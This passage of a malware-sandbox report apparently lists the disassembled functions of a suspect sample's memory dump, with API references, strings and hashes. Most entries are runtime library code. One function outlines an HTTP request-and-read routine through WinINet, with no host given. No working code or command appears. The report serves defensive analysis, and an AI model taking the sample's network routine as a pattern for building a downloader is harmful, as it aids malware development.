Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID: 3/
API String ID: 1879022333-2584162468
Opcode ID: 9013bbe7be8e94eda1e4488cfd9c3e13868648dfc6b767887787e69996581e81
Instruction ID: f811e50cdd54eecc0bc674a32502caeeb06b58a529857650dbcc708d894ba0aa
Opcode Fuzzy Hash: 9013bbe7be8e94eda1e4488cfd9c3e13868648dfc6b767887787e69996581e81
Instruction Fuzzy Hash: 0C410970700210ABCF1FAB14CC95BEEBB699F48710F094199E9465B382CB34AD85C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00315298 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 003152F3
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00315312
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00315359

Strings

3/, xrefs: 003152C6, 00315367
pContext, xrefs: 0031530A

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3/$pContext
API String ID: 1284976207-1612168763
Opcode ID: f1962d94a234e5c9948f883d21b42db5552f9b2df252f47c72f3f63b7ae29bf6
Instruction ID: 21065cfedeb84a527390b972b2aca54ff9e39f078afa0c5ba364f91eef811b41
Opcode Fuzzy Hash: f1962d94a234e5c9948f883d21b42db5552f9b2df252f47c72f3f63b7ae29bf6
Instruction Fuzzy Hash: 87210A35700A15DBCB0FAB64C895BFCB3A5BFD8364B050516E5228B2D1CBB4FC818A80

Uniqueness

Uniqueness Score: -1.00%

Function 0030D706 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0030D70D
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 0030D759
std::bad_exception::bad_exception.LIBCMT ref: 0030D76F
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 0030D7B1
std::bad_exception::bad_exception.LIBCMT ref: 0030D7DB

Strings

l[3, xrefs: 0030D723

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::PolicyPolicy::_Schedulerstd::bad_exception::bad_exception$H_prolog3_catchResolveValidValueValues
String ID: l[3
API String ID: 921398678-1477643999
Opcode ID: ff65ef3bb2babe542257c9363ba816e80afb6b785666651fb31420f0d790c99d
Instruction ID: cf0df14efc77e4758d77f7ad1271c323dfc5651ee3048108a5118c18d43d4039
Opcode Fuzzy Hash: ff65ef3bb2babe542257c9363ba816e80afb6b785666651fb31420f0d790c99d
Instruction Fuzzy Hash: 1021AF759022189FDB0BEFE4D8A2AADB7F8EF05710B604069F005AF5D1DB316E41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0031EA8D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0031EAF8
api-ms-, xrefs: 0031EAE4

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: ba30ea3580ac2952e232ff37ece4c032baa7840ac4f4c4bcdb13f525ab239668
Instruction ID: a57b3aecbd9ca53fc58c01ef383f5545f0db23916c6287ddfcf14f86f4275ee8
Opcode Fuzzy Hash: ba30ea3580ac2952e232ff37ece4c032baa7840ac4f4c4bcdb13f525ab239668
Instruction Fuzzy Hash: 1121E776A0D221ABCB2B4B64AC81AEB375C9F09774F268510FD07E7291D671FC80C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00308913 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00308972
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00308995
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 003089D7

Strings

3/, xrefs: 00308940
count, xrefs: 0030892B
ppVirtualProcessorRoots, xrefs: 0030898D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: 3/$count$ppVirtualProcessorRoots
API String ID: 18808576-1756397987
Opcode ID: 9d80bf804317b376ba8a829772f7ece94a04483088079e68308398efa7b8f51c
Instruction ID: cc66d33eac1c9b77e08582e312477a934a8396928d00d345650bf89f0b3609d1
Opcode Fuzzy Hash: 9d80bf804317b376ba8a829772f7ece94a04483088079e68308398efa7b8f51c
Instruction Fuzzy Hash: 1221B039601205EFCB0AEFA8C8A1EBD77B5FF48310F004069E5469B691DF71AD11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003229AC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00322974: _free.LIBCMT ref: 00322999

_free.LIBCMT ref: 003229FA

Part of subcall function 0031E175: HeapFree.KERNEL32(00000000,00000000,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?), ref: 0031E18B
Part of subcall function 0031E175: GetLastError.KERNEL32(?,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?,?), ref: 0031E19D

_free.LIBCMT ref: 00322A05
_free.LIBCMT ref: 00322A10
_free.LIBCMT ref: 00322A64
_free.LIBCMT ref: 00322A6F
_free.LIBCMT ref: 00322A7A
_free.LIBCMT ref: 00322A85

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction ID: 9399f656498336341579ecf321a0e17ec13cc59a5fd46f49ceaaaef4f7aac5b6
Opcode Fuzzy Hash: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction Fuzzy Hash: 911181B1D40F14BAD627BBB0DC07FDB77AC5F06700F400924B6A96E053DB35B5949690

Uniqueness

Uniqueness Score: -1.00%

Function 00319FDF Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00319FD2,?,?,00319F9A,?,?,?), ref: 00319FF4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0031A007
FreeLibrary.KERNEL32(00000000,?,?,00319FD2,?,?,00319F9A,?,?,?), ref: 0031A02A

Strings

CorExitProcess, xrefs: 00319FFF
3/, xrefs: 0031A018
mscoree.dll, xrefs: 00319FED

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 3/$CorExitProcess$mscoree.dll
API String ID: 4061214504-3045073536
Opcode ID: 12f0391ef12e55a7822e6776c7013d625a4aabdc2340913758ac5b46f61ed3ca
Instruction ID: f8766470752c657dde5eb4ad41033d4634a8b17a211d0945f7169d348af071e8
Opcode Fuzzy Hash: 12f0391ef12e55a7822e6776c7013d625a4aabdc2340913758ac5b46f61ed3ca
Instruction Fuzzy Hash: DDF0A731601718FBCB279B91DD4ABDE7B7CEF08756F110050F401A1160CB749E44DB95

Uniqueness

Uniqueness Score: -1.00%

Function 002FAA60 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002FAB31
std::_Rethrow_future_exception.LIBCPMT ref: 002FAB82
std::_Rethrow_future_exception.LIBCPMT ref: 002FAB92
__Mtx_unlock.LIBCPMT ref: 002FAC35
__Mtx_unlock.LIBCPMT ref: 002FAD3B
__Mtx_unlock.LIBCPMT ref: 002FAD76

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 71efa7160a3a1280e20f63f732053519462a4c254bc3a21d5988601ebf028a89
Instruction ID: 114eec92673935153b8d2088ade48a7ede789cabecaacc68b26f17c3069af4fe
Opcode Fuzzy Hash: 71efa7160a3a1280e20f63f732053519462a4c254bc3a21d5988601ebf028a89
Instruction Fuzzy Hash: 1AC1EEB191030D9FDB25DF64C945BBEFBB8AF01344F00457EEA1A97682E730A958CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00323590 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,002E8000,00000000), ref: 003235D8
__fassign.LIBCMT ref: 003237B7
__fassign.LIBCMT ref: 003237D4
WriteFile.KERNEL32(?,002E8000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0032381C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0032385C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00323908

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 487ceb583df9479134e22873b46209a5600986c3a2d0f4355e6c31febfa19bef
Instruction ID: 6e81e78ecf20ed175451178dd9056389db82f6922947cfaf90bc95efd3f870df
Opcode Fuzzy Hash: 487ceb583df9479134e22873b46209a5600986c3a2d0f4355e6c31febfa19bef
Instruction Fuzzy Hash: 0BD18D75D042689FCF16CFA8D880AEDBBB9EF49310F280169E855FB341D734AA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002EBFA8 Relevance: 9.2, APIs: 6, Instructions: 226networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0033CEE4,00000000,00000000,00000000,00000000), ref: 002EC04C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 002EC070
HttpOpenRequestA.WININET(?,00000000), ref: 002EC0BA
HttpSendRequestA.WININET(?,00000000), ref: 002EC17A
InternetReadFile.WININET(?,?,000003FF,?), ref: 002EC22C
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 002EC2E0
InternetCloseHandle.WININET(?), ref: 002EC307
InternetCloseHandle.WININET(?), ref: 002EC30F
InternetCloseHandle.WININET(?), ref: 002EC317

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: e2393afdf3a94d8d2055a80d30acb5b0677cdc238e2d385c0e934d02eb05d07e
Instruction ID: 2809fafa9c10c214d06657c9e36ddd52e3a035d5464ec94c821c26cdfb5e09b4
Opcode Fuzzy Hash: e2393afdf3a94d8d2055a80d30acb5b0677cdc238e2d385c0e934d02eb05d07e
Instruction Fuzzy Hash: 9681F6B09101589FDB25CF69CC85BEEBBB9EF41304F9041A8F608A7291DB709AD1CF65

Uniqueness

Uniqueness Score: -1.00%

Function 003028CF Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0030292C
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00302938
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00302951
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0030297F
Concurrency::Context::Block.LIBCONCRT ref: 003029A1

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 8eaaf110004c4dc821a8d645ec14e3d3577cf63b34cff0c77f27357de1b55f3f
Instruction ID: 5f3bf32d04dc3a7a9422efb192a62a1b7ebc90d326296614c0c9431341d7abe4
Opcode Fuzzy Hash: 8eaaf110004c4dc821a8d645ec14e3d3577cf63b34cff0c77f27357de1b55f3f
Instruction Fuzzy Hash: DF214170902205CEDF26DFA4C869BEFB7F4BF15310F250669E051AA1D0EBB15A44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0030DA97 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0030DADA

Part of subcall function 0030EFD1: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0030F020

GetCurrentThread.KERNEL32 ref: 0030DAE4
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0030DAF0

Part of subcall function 00303DF8: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00303E0A

Part of subcall function 00304284: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 0030428B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0030DB33

Part of subcall function 0030EF83: SetEvent.KERNEL32(?,?,0030DB38,0030E8CC,00000000,?,00000000,0030E8CC,00000004,0030EF78,?,00000000,?,?,00000000), ref: 0030EFC7

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0030DB3C

Part of subcall function 0030E5B2: List.LIBCONCRT ref: 0030E5E8

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0030DB4C

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: 74a6bba45c797fa452ae6284eb04e369fbfa8ae945d8764a4376f3883245cd7e
Instruction ID: 9acfd204688668c683198b4bb3f38a189434c8d209de7cf7eb32f94ae5d3ef1a
Opcode Fuzzy Hash: 74a6bba45c797fa452ae6284eb04e369fbfa8ae945d8764a4376f3883245cd7e
Instruction Fuzzy Hash: A721C1316027119FCB26EFA4C9A18AAF3F9FF48300701491DE4039B691DB74F904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003189A7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0031899E,00317560,002FEFC5,F139A196,?,00000000,0032F238,000000FF,?,002E24EA,?,?), ref: 003189B5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 003189C3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003189DC
SetLastError.KERNEL32(00000000,?,0031899E,00317560,002FEFC5,F139A196,?,00000000,0032F238,000000FF,?,002E24EA,?,?), ref: 00318A2E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5cbb4f68b78e53ef1486d77cb3158daf2769c4a46d342487613bbb9a7fd0650e
Instruction ID: e2ae76b8593b49f5f3290ef99be51d5b52abd470de217c653da3096b91294c98
Opcode Fuzzy Hash: 5cbb4f68b78e53ef1486d77cb3158daf2769c4a46d342487613bbb9a7fd0650e
Instruction Fuzzy Hash: A601243621C6111EA62F2B747C86EEA2A4EEF0E370B20022FF024480E1EF116CD45985

Uniqueness

Uniqueness Score: -1.00%

Function 0030368B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00303699
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0030369F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 003036CC
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 003036D6
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 003036E8
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 003036FE

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 6b11d63916ae8d33f424bdaf7de20bc328c82ca6255f93ecd4550f97c09ae2fe
Instruction ID: c54a52c92fec3360c0b18ed0ce0d165c1ec7c8da447dd1ebd2a0899823d7da4b
Opcode Fuzzy Hash: 6b11d63916ae8d33f424bdaf7de20bc328c82ca6255f93ecd4550f97c09ae2fe
Instruction Fuzzy Hash: CA01D435602148BBCB17ABA5DCE9EFB776CEF51751F210815F505D6190EB21EA048B60

Uniqueness

Uniqueness Score: -1.00%

Function 00318ABE Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00318B85
___AdjustPointer.LIBCMT ref: 00318BA8
___AdjustPointer.LIBCMT ref: 00318C44

Strings

3/, xrefs: 00318B1D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

